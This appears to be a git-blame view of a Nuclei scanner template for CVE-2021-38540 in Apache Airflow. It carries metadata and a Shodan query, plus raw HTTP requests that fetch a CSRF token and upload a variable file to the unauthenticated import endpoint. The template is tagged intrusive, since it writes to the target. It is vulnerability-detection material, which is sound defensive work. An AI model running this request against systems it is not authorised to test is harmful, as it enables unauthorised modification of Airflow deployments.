2021-11-28 18:17:12 +00:00
id : CVE-2021-38540
info :
name : Apache Airflow - Unauthenticated Variable Import
author : pdteam
severity : critical
2022-04-25 14:35:07 +00:00
description : Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution.
2023-09-27 15:51:13 +00:00
impact : |
An attacker can exploit this vulnerability to import malicious variables, potentially gaining unauthorized access to sensitive data.
2023-09-06 12:09:01 +00:00
remediation : Upgrade to Apache Airflow 2.1.3 or higher.
2022-04-22 10:38:41 +00:00
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2021-38540
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E
2023-11-08 06:56:05 +00:00
- https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2%40%3Cannounce.apache.org%3E
2021-11-28 20:31:30 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-11-28 20:31:30 +00:00
cve-id : CVE-2021-38540
2023-07-15 16:29:17 +00:00
cwe-id : CWE-269,CWE-306
2023-12-12 11:07:52 +00:00
epss-score : 0.01259
epss-percentile : 0.84036
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
2022-04-22 10:38:41 +00:00
metadata :
2022-05-10 12:45:09 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : apache
product : airflow
2023-09-06 12:09:01 +00:00
shodan-query : title:"Sign In - Airflow"
2023-07-11 19:49:27 +00:00
tags : cve,cve2021,apache,airflow,rce,intrusive
2021-11-28 18:17:12 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-28 18:17:12 +00:00
- raw :
- |
GET /login/ HTTP/1.1
Host : {{Hostname}}
Origin : {{BaseURL}}
- |
POST /variable/varimport HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7
Referer : {{RootURL}}/admin/variable/
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition : form-data; name="csrf_token"
{{csrf}}
------WebKitFormBoundaryB874qcjbpxTP1Hj7
Content-Disposition : form-data; name="file"; filename="{{randstr}}.json"
Content-Type : application/json
{
"type": "{{randstr}}"
}
------WebKitFormBoundaryB874qcjbpxTP1Hj7--
matchers-condition : and
matchers :
- type : dsl
dsl :
2023-07-11 19:49:27 +00:00
- contains(body_1, "Sign In")
- status_code_2 == 302
- contains(header_2, "session=.")
2021-11-28 18:17:12 +00:00
condition : and
- type : word
words :
2022-04-25 14:35:07 +00:00
- 'You should be redirected automatically to target URL : <a href="/">'
2023-07-11 19:49:27 +00:00
extractors :
- type : regex
name : csrf
group : 1
regex :
- type="hidden" value="(.*?)">
internal : true
2023-12-29 09:30:44 +00:00
# digest: 4a0a00473045022048d2cdedab5e3a7473536cbbc02476843da6b763b6000dc8591481ba31447850022100a1c625786182a2af2a19c479494ff271ce79fa4f848aa18ca6a9400276fb8b04:922c64590222798bb761d5b6d8e72950